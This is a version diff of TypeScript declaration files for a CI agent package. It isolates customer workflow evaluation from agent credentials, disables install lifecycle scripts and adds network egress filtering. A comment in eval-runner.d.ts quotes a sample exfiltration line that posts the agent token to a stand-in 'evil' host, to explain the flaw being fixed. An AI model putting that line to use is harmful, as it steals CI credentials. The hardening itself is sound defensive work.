@kici-dev/agent 0.6.0 → 0.7.0

package/dist/execution/dep-installer.d.ts

@@ -19,9 +19,11 @@
  * Security: the install runs with an isolated per-invocation cache/store
  * directory to prevent cache poisoning across build jobs — a malicious
  * package.json in one repo cannot taint the cache used by subsequent builds.
- * The same pressure rules out letting lifecycle scripts see synthesized auth
- * env vars — the install runs with `--ignore-scripts` whenever a private
- * registry is configured.
+ * The install runs with `--ignore-scripts` for every package manager. A
+ * lifecycle script in a committed `package.json` is customer code the agent
+ * never agreed to execute: it would run wherever the install runs, which for a
+ * step-child install is the process holding the job's secrets. Operators who
+ * genuinely need it set `KICI_ALLOW_INSTALL_SCRIPTS=true` on the agent.
  */
 import { type NpmRegistrySpec } from './npm-registry-config.js';
 export interface InstallDepsOptions {
@@ -36,6 +38,23 @@ export interface InstallDepsOptions {
      * then falls back to `kiciDir`. Defaults to `dirname(kiciDir)`.
      */
     repoRoot?: string;
+    /**
+     * Base environment for every install and workspace-build subprocess.
+     *
+     * Defaults to `process.env`, which is correct inside the runner child, where
+     * `process.env` is already the sanitized job environment carrying the
+     * orchestrator's `KICI_*` system vars, org context vars and the job's own
+     * `env`. An agent-process caller MUST pass a sanitized base instead —
+     * `buildSanitizedEnv({}, { trustedEnv })` — or the install inherits the
+     * agent's credentials.
+     */
+    baseEnv?: NodeJS.ProcessEnv;
+    /**
+     * Operator opt-out from `--ignore-scripts` (`KICI_ALLOW_INSTALL_SCRIPTS`).
+     * Read only from agent config, never from a dispatch payload or a workflow,
+     * so a pull request cannot re-enable lifecycle scripts for itself.
+     */
+    allowInstallScripts?: boolean;
 }
 /**
  * Install `.kici/` dependencies inline with the repo's package manager.
@@ -46,16 +65,18 @@ export interface InstallDepsOptions {
  * between build jobs; the directory is removed after installation.
  *
  * If `opts.npmRegistries` / `opts.installEnvSecrets` is provided, a job-scoped
- * `.kici/.npmrc` overlay is synthesized for the install, restored in `finally`,
- * and the install runs with `--ignore-scripts` so lifecycle scripts in a
- * committed `package.json` cannot exfiltrate the synthesized token env vars.
+ * `.kici/.npmrc` overlay is synthesized for the install and restored in
+ * `finally`.
+ *
+ * Lifecycle scripts are disabled for every package manager unless the operator
+ * set `opts.allowInstallScripts`.
  *
  * @param kiciDir - Path to the `.kici/` directory containing package.json.
  * @param opts    - Optional registry / installEnv / repoRoot configuration.
  */
 export declare function installDeps(kiciDir: string, opts?: InstallDepsOptions): Promise<void>;
 /** Pure: argv for `yarn install` with an isolated cache folder. */
-export declare function buildYarnInstallArgs(cacheDir: string, hasPrivateRegistry: boolean): string[];
+export declare function buildYarnInstallArgs(cacheDir: string, ignoreScripts: boolean): string[];
 /** Pure: argv for a berry `yarn install`. Cache + linker live in .yarnrc.yml. */
 export declare function buildYarnBerryInstallArgs(): string[];
 //# sourceMappingURL=dep-installer.d.ts.map

package/dist/execution/eval-context.d.ts

@@ -0,0 +1,114 @@
+/**
+ * Context builders shared by every customer-code EVALUATION.
+ *
+ * Split out of `job-runner.ts` so the eval child can import them without
+ * dragging in the agent's job orchestrator (dockerode, the sandbox backends, the
+ * orchestrator WebSocket client). The child is the process that loads and runs
+ * customer workflow modules, so what it imports is part of its boundary.
+ *
+ * Every `process.env` read below is deliberate and correct **in the eval child**:
+ * there `process.env` is the sanitized environment the child was forked with,
+ * carrying no agent credential. The same expressions were the defect while these
+ * functions ran in the agent process, which is why they moved rather than being
+ * rewritten.
+ */
+import type { JobDispatch, LogStream } from '@kici-dev/engine';
+import type { RepoInfo } from '@kici-dev/sdk';
+import { buildNeedsContext } from '@kici-dev/sdk/internal';
+import type { $ as Shell } from 'zx';
+import { type ChangedFilesResult } from '../checkout/changed-files.js';
+import type { FilterEvalInput } from './init-runner.js';
+import type { GlobalEvalRoundJobConfig } from './global-eval-types.js';
+export declare const DEFAULT_GLOBAL_EVAL_ROUND_TIMEOUT_MS = 120000;
+export declare const DEFAULT_GLOBAL_EVAL_CANDIDATE_TIMEOUT_MS = 20000;
+/**
+ * Build the source / workflow repo pair the round hands to every filter and
+ * generator. Mirrors the sandbox's own `setupGlobalWorkflowEnv` construction so
+ * a generator's two evaluations see the same identifiers, refs, and shas — only
+ * the absolute paths differ, and those are never compared.
+ */
+export declare function buildRoundRepos(dispatch: JobDispatch, config: GlobalEvalRoundJobConfig, workflowDir: string, sourceDir: string): {
+    sourceRepo: RepoInfo;
+    workflowRepo: RepoInfo;
+};
+/**
+ * Resolve the changed-files list a `filter` reads — for a global eval round and
+ * for a filter-bearing init job alike.
+ *
+ * Ground truth is the agent's own source clone; an already-`fetched` list from
+ * the orchestrator is a free fast-path. A diff-less event (schedule / tag /
+ * manual) resolves to `unavailable`, which makes `ctx.changedFiles` throw
+ * rather than read as an empty diff — a `filter` returning false produces no
+ * run at all, so a silently-empty diff would suppress the workflow with no
+ * artifact anywhere to inspect.
+ */
+export declare function resolveEvalChangedFiles(dispatch: JobDispatch, event: Record<string, unknown>, sourceDir: string): Promise<ChangedFilesResult>;
+/**
+ * Materialize the source tree a non-global workflow's `filter` reads through
+ * `ctx.sourceRepo.path`.
+ *
+ * An init or dynamic-eval job normally restores only `.kici/` from the cached
+ * source tarball — enough to import the workflow module, but a directory with no
+ * repo in it. A filter that reads a file or shells out against that path would
+ * get a confidently wrong answer, and `changedFiles` could not be computed at
+ * all, so a filter-bearing job clones the source repo into a sibling directory.
+ *
+ * When no tarball was attached the job already cloned the whole repo into
+ * `workDir`, and that clone is reused rather than duplicated — including the
+ * local working-tree case, where there is no repo url and `workDir` IS the tree.
+ *
+ * A tarball with no repo url is the one combination that cannot be honoured:
+ * `workDir` holds `.kici/` alone and there is nothing to clone from. Returning it
+ * would hand the filter a directory in which every path test answers "absent" —
+ * the exact silent lie this function exists to prevent — so it throws instead.
+ */
+export declare function ensureFilterSourceDir(dispatch: JobDispatch, workDir: string): Promise<string>;
+/**
+ * Build the context a non-global workflow's `filter` is evaluated against.
+ *
+ * `sourceRepo` and `workflowRepo` are the same repo — that is what "non-global"
+ * means — so both carry the same identifier, path, ref, and sha. The zx shell is
+ * rooted at the source tree and streams into the evaluating step's log, matching
+ * what the global eval round hands its own filters.
+ *
+ * They are two distinct objects all the same. Being the same repo is a fact
+ * about their VALUES, not a licence to hand the author one object under two
+ * names: a filter that mutated `ctx.sourceRepo` would silently see
+ * `ctx.workflowRepo` change with it, which happens on no other path.
+ */
+export declare function buildInitFilterInput(dispatch: JobDispatch, event: Record<string, unknown>, workDir: string, emit: (line: string, stream: LogStream) => void): Promise<FilterEvalInput>;
+/**
+ * Build the per-invocation zx `$` a global eval round hands to filters and
+ * generators, so a `await $\`…\`` inside one is visible in the eval step's log.
+ *
+ * **`env` is the LIVE `process.env` reference, never a spread.** A spread is a
+ * snapshot taken when the shell is built, which is before the round applies the
+ * seven `KICI_*` keys — so a filter that shells out (`$\`printenv
+ * KICI_SOURCE_REPO_PATH\``, or any subprocess inheriting env) would see nothing
+ * here while the sandbox re-evaluation's ambient `$` resolves `process.env`
+ * after `setupGlobalWorkflowEnv` has run and does see them. That is the same
+ * two-worlds determinism failure the cwd choice below exists to prevent, one
+ * layer down. Passing the live reference reproduces the ambient `$`'s own
+ * behaviour, which is what the sandbox uses.
+ *
+ * `verbose: true` + `makeStreamingZxLog` honors a per-call `quiet: true`, so a
+ * decrypted secret never leaks into the log.
+ *
+ * `emit` is a callback rather than the `LogStreamer` itself so the caller can
+ * route it through its own closed-guard: `LogStreamer.destroy()` sets no closed
+ * flag and `addLine` buffers unconditionally, so a subprocess line arriving
+ * after the step was reported would otherwise emit a `log.chunk` for a terminal
+ * step. That is the likeliest path for it — an orphaned candidate is usually
+ * orphaned *because* it is waiting on a subprocess.
+ */
+export declare function buildEvalShell(cwd: string, emit: (line: string, stream: LogStream) => void): Promise<typeof Shell>;
+/**
+ * Build the result-aware `ctx.needs` for a dynamic eval from its frozen upstream
+ * snapshot. Returns undefined for an event-only generator (no snapshot).
+ */
+export declare function buildEvalNeedsContext(config: {
+    resultAware?: boolean;
+    declaredNeeds?: readonly unknown[];
+    upstreamSnapshot?: import('@kici-dev/engine').UpstreamSnapshot;
+}): ReturnType<typeof buildNeedsContext> | undefined;
+//# sourceMappingURL=eval-context.d.ts.map

package/dist/execution/global-eval-types.d.ts

@@ -0,0 +1,26 @@
+/**
+ * Dispatch shape of a pre-run global eval round.
+ *
+ * Its own module because both the agent's job runner and the eval child read it,
+ * and the child must not import the job runner.
+ */
+import type { GlobalEvalCandidate } from './global-eval-runner.js';
+/**
+ * `jobConfig` shape of a pre-run global eval round job.
+ *
+ * `roundTimeoutMs` / `candidateTimeoutMs` are optional so an older orchestrator
+ * that does not send them still dispatches a runnable round; the agent falls
+ * back to the defaults in `eval-context.ts`.
+ */
+export interface GlobalEvalRoundJobConfig {
+    globalEvalRound: true;
+    candidates: GlobalEvalCandidate[];
+    event: Record<string, unknown>;
+    workflowRepoUrl: string;
+    workflowRef?: string;
+    workflowSha?: string;
+    workflowRepoIdentifier?: string;
+    roundTimeoutMs?: number;
+    candidateTimeoutMs?: number;
+}
+//# sourceMappingURL=global-eval-types.d.ts.map

package/dist/execution/job-runner.d.ts

@@ -1,70 +1,9 @@
 import type { AgentToOrchestratorMessage, JobDispatch } from '@kici-dev/engine';
-import type { LogStream } from '@kici-dev/engine';
 import type { AppConfig } from '../config.js';
-import { type FilterEvalInput } from './init-runner.js';
-import { buildNeedsContext } from '@kici-dev/sdk';
-import type { $ as Shell } from 'zx';
+import { buildEvalNeedsContext, buildEvalShell, buildInitFilterInput, ensureFilterSourceDir } from './eval-context.js';
+export { buildEvalNeedsContext, buildEvalShell, buildInitFilterInput, ensureFilterSourceDir };
 import type { CacheRequestIpc, CacheResponseIpc, ProvenanceRequestIpc, ProvenanceResponseIpc, ArtifactRequestIpc, ArtifactResponseIpc, StepApprovalRequestIpc, StepApprovalResolvedIpc } from './sandbox/index.js';
 import { BetweenJobsController } from './between-jobs-controller.js';
-/**
- * Materialize the source tree a non-global workflow's `filter` reads through
- * `ctx.sourceRepo.path`.
- *
- * An init or dynamic-eval job normally restores only `.kici/` from the cached
- * source tarball — enough to import the workflow module, but a directory with no
- * repo in it. A filter that reads a file or shells out against that path would
- * get a confidently wrong answer, and `changedFiles` could not be computed at
- * all, so a filter-bearing job clones the source repo into a sibling directory.
- *
- * When no tarball was attached the job already cloned the whole repo into
- * `workDir`, and that clone is reused rather than duplicated — including the
- * local working-tree case, where there is no repo url and `workDir` IS the tree.
- *
- * A tarball with no repo url is the one combination that cannot be honoured:
- * `workDir` holds `.kici/` alone and there is nothing to clone from. Returning it
- * would hand the filter a directory in which every path test answers "absent" —
- * the exact silent lie this function exists to prevent — so it throws instead.
- */
-export declare function ensureFilterSourceDir(dispatch: JobDispatch, workDir: string): Promise<string>;
-/**
- * Build the context a non-global workflow's `filter` is evaluated against.
- *
- * `sourceRepo` and `workflowRepo` are the same repo — that is what "non-global"
- * means — so both carry the same identifier, path, ref, and sha. The zx shell is
- * rooted at the source tree and streams into the evaluating step's log, matching
- * what the global eval round hands its own filters.
- *
- * They are two distinct objects all the same. Being the same repo is a fact
- * about their VALUES, not a licence to hand the author one object under two
- * names: a filter that mutated `ctx.sourceRepo` would silently see
- * `ctx.workflowRepo` change with it, which happens on no other path.
- */
-export declare function buildInitFilterInput(dispatch: JobDispatch, event: Record<string, unknown>, workDir: string, emit: (line: string, stream: LogStream) => void): Promise<FilterEvalInput>;
-/**
- * Build the per-invocation zx `$` a global eval round hands to filters and
- * generators, so a `await $\`…\`` inside one is visible in the eval step's log.
- *
- * **`env` is the LIVE `process.env` reference, never a spread.** A spread is a
- * snapshot taken when the shell is built, which is before the round applies the
- * seven `KICI_*` keys — so a filter that shells out (`$\`printenv
- * KICI_SOURCE_REPO_PATH\``, or any subprocess inheriting env) would see nothing
- * here while the sandbox re-evaluation's ambient `$` resolves `process.env`
- * after `setupGlobalWorkflowEnv` has run and does see them. That is the same
- * two-worlds determinism failure the cwd choice below exists to prevent, one
- * layer down. Passing the live reference reproduces the ambient `$`'s own
- * behaviour, which is what the sandbox uses.
- *
- * `verbose: true` + `makeStreamingZxLog` honors a per-call `quiet: true`, so a
- * decrypted secret never leaks into the log.
- *
- * `emit` is a callback rather than the `LogStreamer` itself so the caller can
- * route it through its own closed-guard: `LogStreamer.destroy()` sets no closed
- * flag and `addLine` buffers unconditionally, so a subprocess line arriving
- * after the step was reported would otherwise emit a `log.chunk` for a terminal
- * step. That is the likeliest path for it — an orphaned candidate is usually
- * orphaned *because* it is waiting on a subprocess.
- */
-export declare function buildEvalShell(cwd: string, emit: (line: string, stream: LogStream) => void): Promise<typeof Shell>;
 /**
  * Dependencies injected into JobRunner.
  */
@@ -84,6 +23,10 @@ export interface JobRunnerDeps {
         contentHash?: string;
         lockfileHash?: string;
         depsHash?: string;
+        /** SHA-256 of the source tarball's own bytes; source uploads only. */
+        sourceTarDigest?: string;
+        /** In-repo sibling closure digest; deps uploads only. */
+        siblingsDigest?: string;
         platform: string;
         arch: string;
     }) => Promise<string>;
@@ -94,6 +37,10 @@ export interface JobRunnerDeps {
         platform: string;
         arch: string;
         depsHash?: string;
+        /** SHA-256 of the source tarball's own bytes; source uploads only. */
+        sourceTarDigest?: string;
+        /** In-repo sibling closure digest; deps uploads only. */
+        siblingsDigest?: string;
     }) => void;
     /**
      * Send an event.emit WS message to the orchestrator and await the response.
@@ -200,15 +147,6 @@ interface ActiveJob {
  * bwrap / firecracker keep the external runner (they bind the workspace).
  */
 export declare function resolveRunnerBundlePath(runnerPath: string): string;
-/**
- * Build the result-aware `ctx.needs` for a dynamic eval from its frozen upstream
- * snapshot. Returns undefined for an event-only generator (no snapshot).
- */
-export declare function buildEvalNeedsContext(config: {
-    resultAware?: boolean;
-    declaredNeeds?: readonly unknown[];
-    upstreamSnapshot?: import('@kici-dev/engine').UpstreamSnapshot;
-}): ReturnType<typeof buildNeedsContext> | undefined;
 /**
  * Resolve a job's workDir and its cleanup.
  *
@@ -284,8 +222,8 @@ export declare class JobRunner {
      * orchestrator relay (unit harnesses, offline local runs).
      *
      * A failure here must not fail the job: without a helper, git falls back to
-     * its own mechanisms exactly as it did before this existed. The job simply
-     * cannot push.
+     * its own mechanisms exactly as it did before this existed. The job cannot
+     * push.
      */
     private startGitCredentials;
     /**
@@ -422,6 +360,17 @@ export declare class JobRunner {
      * when the checkout or the round machinery breaks.
      */
     private handleGlobalEvalRound;
+    /**
+     * Run one evaluation in the eval child and stream its log onto the job's
+     * synthetic step-0 log.
+     *
+     * Every customer-module load and evaluation goes through here. The calling
+     * handler keeps what is the agent's own work — materializing the workspace,
+     * installing dependencies, packing and uploading a tarball, reporting status —
+     * and hands the child only the evaluation itself, in a process whose
+     * environment carries no agent credential.
+     */
+    private runEvaluation;
     /**
      * Handle an init-only job.
      *
@@ -503,5 +452,4 @@ export declare class JobRunner {
      */
     private sendStepStatus;
 }
-export {};
 //# sourceMappingURL=job-runner.d.ts.map

package/dist/execution/npm-registry-config.d.ts

@@ -43,6 +43,12 @@ export interface ApplyNpmRegistryConfigArgs {
     installEnvSecrets: Record<string, string> | undefined;
     /** Short (8 char) job-scoped nonce — used as suffix on synthesized env-var names. */
     jobIdShort: string;
+    /**
+     * Disable package lifecycle scripts. Read by the berry flavor, which controls
+     * them through `.yarnrc.yml` (`enableScripts`) rather than a CLI flag.
+     * Defaults to true when omitted.
+     */
+    ignoreScripts?: boolean;
 }
 export interface ApplyNpmRegistryConfigResult {
     /** Env vars to merge into the install subprocess (token vars + installEnvSecrets). */

package/dist/execution/rule-evaluator.d.ts

@@ -1,2 +1,3 @@
-export { createRuleContext, ChangedFilesUnavailableError, evaluateRules, type RuleEvaluationResult, } from '@kici-dev/sdk';
+export { ChangedFilesUnavailableError, type RuleEvaluationResult } from '@kici-dev/sdk';
+export { createRuleContext, evaluateRules } from '@kici-dev/sdk/internal';
 //# sourceMappingURL=rule-evaluator.d.ts.map

package/dist/execution/sandbox/bare-metal-sandbox.d.ts

@@ -36,6 +36,11 @@ interface BareMetalSandboxOptions {
      * the between-jobs phase can reap a backgrounded daemon. Default true.
      */
     orphanCleanup?: boolean;
+    /**
+     * Dedicated user for the runner child (`KICI_RUNNER_USER`). Unset, the child
+     * shares the agent's uid and can read the agent process.
+     */
+    runnerUser?: string;
 }
 /**
  * Bare-metal execution sandbox implementation.
@@ -49,6 +54,7 @@ export declare class BareMetalSandbox implements ExecutionSandbox {
     private readonly sandboxNetwork;
     private readonly env;
     private readonly orphanCleanup;
+    private readonly runnerUser;
     private runner;
     private workDir;
     private lastOptions;

package/dist/execution/sandbox/container-hardening.d.ts

@@ -57,6 +57,14 @@ export interface SandboxHardeningOptions {
     nanoCpus: number;
     /** Config-derived network posture (`isolated` → `none`, else `default`). */
     networkMode: SandboxNetworkMode;
+    /**
+     * Join the agent's `kici-jobs` bridge instead of the runtime's default
+     * bridge, so per-container egress rules can be keyed on the container's IP
+     * (`KICI_SANDBOX_NETWORK_ISOLATION`). Only meaningful when the effective
+     * network is `default`: `none` has no egress, and `host` is the host
+     * namespace by request.
+     */
+    jobNetworkName?: string;
     /** Optional dispatch-resolved escape hatch (Sub-wish B populates this at dispatch). */
     grant?: ResolvedSandboxGrant;
 }

package/dist/execution/sandbox/container-sandbox.d.ts

@@ -94,6 +94,12 @@ interface ContainerSandboxOptions {
      * constructor testable and lets non-production callers opt out explicitly.
      */
     hardening?: SandboxHardeningOptions;
+    /**
+     * Apply RFC1918 + cloud-metadata egress filtering to the job container
+     * (`KICI_SANDBOX_NETWORK_ISOLATION`, default on). Ignored when the effective
+     * network is `host` or `none` — neither has a bridge IP to key rules on.
+     */
+    networkIsolation?: boolean;
 }
 export declare class ContainerSandbox implements ExecutionSandbox {
     private readonly docker;
@@ -117,6 +123,9 @@ export declare class ContainerSandbox implements ExecutionSandbox {
     private readonly keepFailed;
     private readonly jobId;
     private readonly hardening?;
+    private readonly networkIsolation;
+    /** Container IP the applied egress rules are keyed on; unset when none were applied. */
+    private egressRuleIp;
     /** Resolved container user (image-user override / grant), applied to createContainer + each exec. */
     private resolvedUser?;
     /** The running container instance (set during setup). */

package/dist/execution/sandbox/eval-dispatch.d.ts

@@ -0,0 +1,28 @@
+/**
+ * The four evaluations the eval child performs, with the IPC shell factored out.
+ *
+ * Separated from `eval-runner.ts` so this — the code that actually loads and
+ * runs a customer workflow module — is directly testable, and so a unit test can
+ * drive the real evaluation through the same seam the child uses rather than a
+ * hand-written imitation of it that would drift.
+ *
+ * Every `process.env` read below is correct BECAUSE it runs in the eval child:
+ * there `process.env` is the sanitized environment the child was forked with,
+ * carrying no agent credential. The same expressions were the defect while these
+ * evaluations ran in the agent process, which is why they moved rather than
+ * being rewritten.
+ */
+import type { LogStream } from '@kici-dev/engine';
+import type { DynamicJobContext } from '@kici-dev/sdk';
+import type { EvalRequest } from './ipc-protocol.js';
+/** What an evaluation needs from its host: a log sink and the `ctx.kici` API. */
+export interface EvalDispatchDeps {
+    emit: (line: string, stream?: LogStream) => void;
+    kici: DynamicJobContext['kici'];
+}
+/**
+ * Run one evaluation request. The single entry point the eval child's IPC shell
+ * calls, and the seam a unit test drives.
+ */
+export declare function runEvalRequest(request: EvalRequest, deps: EvalDispatchDeps): Promise<unknown>;
+//# sourceMappingURL=eval-dispatch.d.ts.map

package/dist/execution/sandbox/eval-fork-runner.d.ts

@@ -0,0 +1,43 @@
+/**
+ * Agent-side driver for the eval child.
+ *
+ * Forks `eval-runner.js` with a sanitized environment, sends one `eval`
+ * request, streams the child's log lines onto the job's synthetic step-0 log,
+ * and resolves with the evaluation's serialized result.
+ *
+ * The accepted inbound set is exactly `ready`, `log.line`, `eval.api.request`,
+ * `eval.result` and `eval.error` — anything else from the child is ignored, so a
+ * customer module that gains code execution in the child cannot reach the step
+ * runner's privileged relays by naming one of their message types.
+ */
+import type { LogStream } from '@kici-dev/engine';
+import type { EvalRequest } from './ipc-protocol.js';
+export interface RunEvalChildOptions {
+    /** Absolute path to the compiled `eval-runner.js`. */
+    evalRunnerPath: string;
+    /** The evaluation to perform. */
+    request: EvalRequest;
+    /** Stream one captured line onto the job's log. */
+    onLogLine: (line: string, stream?: LogStream) => void;
+    /**
+     * Relay a `ctx.kici` call to the orchestrator. Omitted means no API transport
+     * is wired, and every call rejects — the same fallback the in-process
+     * evaluation used.
+     */
+    onApiRequest?: (method: string, params: Record<string, unknown>) => Promise<unknown>;
+    /**
+     * Operator-set agent-launch property. Threaded through so a trusted fleet
+     * agent's declared passthrough env still reaches an evaluation.
+     */
+    trustedEnv?: boolean;
+    /** Cancels the evaluation; the child is killed and the promise rejects. */
+    signal?: AbortSignal;
+}
+/**
+ * Run one evaluation in a fresh child and resolve with its result.
+ *
+ * Rejects with the evaluation's own error text on `eval.error`, so the calling
+ * handler reports exactly the message the in-process evaluation used to throw.
+ */
+export declare function runEvalChild<T>(options: RunEvalChildOptions): Promise<T>;
+//# sourceMappingURL=eval-fork-runner.d.ts.map

package/dist/execution/sandbox/eval-runner.d.ts

@@ -0,0 +1,21 @@
+/**
+ * The eval child: the only process in which customer EVALUATION code runs.
+ *
+ * The agent forks this entry once per evaluation job — `__init__`, `__dynamic__`,
+ * `__build__` and a global eval round — with an environment built by
+ * `buildSanitizedEnv`, so the workflow module, its `filter`, its dynamic `env` /
+ * `environment` / `concurrencyGroup` / `matrix` functions and any `DynamicJobFn`
+ * load and execute where the agent's credentials are not.
+ *
+ * They used to run in the agent's own V8 isolate with the agent's `process.env`.
+ * A `matrix: async ({ env }) => fetch('https://evil/', { body: env.KICI_AGENT_TOKEN })`
+ * in a pull request was therefore enough to take the agent's identity.
+ *
+ * This file is the IPC shell only; the evaluations themselves live in
+ * `eval-dispatch.ts`. Communication uses a message union of its own
+ * (`AgentToEvalMessage` / `EvalToAgentMessage`), NOT the step runner's — see the
+ * note above the union in `ipc-protocol.ts` for why sharing that one would be a
+ * privilege expansion.
+ */
+export {};
+//# sourceMappingURL=eval-runner.d.ts.map

package/dist/execution/sandbox/fork-runner.d.ts

@@ -54,6 +54,11 @@ interface ForkRunnerOptions {
      * Defaults to 30_000 (30 seconds).
      */
     maxGracePeriodMs?: number;
+    /**
+     * Run the child as a dedicated user (uid, `uid:gid`, or a user name) instead
+     * of the agent's own. Opt-in; unset keeps today's same-uid behaviour.
+     */
+    runnerUser?: string;
     /**
      * Spawn the runner child `detached` so it leads its own process group. Set by
      * the bare-metal backend when orphan cleanup is on and bwrap is off, so the
@@ -119,6 +124,7 @@ export interface ForkRunnerHandle {
 export declare function buildRequest(dispatch: JobDispatch, workDir: string, extra?: {
     cleanupOnly?: boolean;
     credentialHelperPath?: string;
+    allowInstallScripts?: boolean;
 }): JobExecutionRequest;
 /**
  * Build bubblewrap (bwrap) arguments for namespace isolation.
@@ -151,6 +157,23 @@ export declare function buildBwrapArgs(workDir: string, nodeExecPath: string, ne
  * the same clone-source affordance across both isolation models.
  */
 export declare function fileCloneSourceBinds(repoUrl: string | undefined): string[];
+/** A resolved POSIX identity for the runner child. */
+export interface RunnerIdentity {
+    uid: number;
+    gid: number;
+}
+/**
+ * Resolve a `KICI_RUNNER_USER` spec to numeric ids.
+ *
+ * Accepts `uid`, `uid:gid`, or a user name. A name is resolved through `id`,
+ * which is present on every POSIX host the bare-metal backend supports; a uid
+ * with no gid takes that user's primary group.
+ *
+ * Throws on an unresolvable spec rather than silently falling back to the
+ * agent's own uid — the operator set this to get a boundary, so quietly not
+ * having one is the worst outcome.
+ */
+export declare function resolveRunnerUser(spec: string | undefined): RunnerIdentity | undefined;
 /**
  * Spawn the workflow runner as a child process with IPC channel.
  *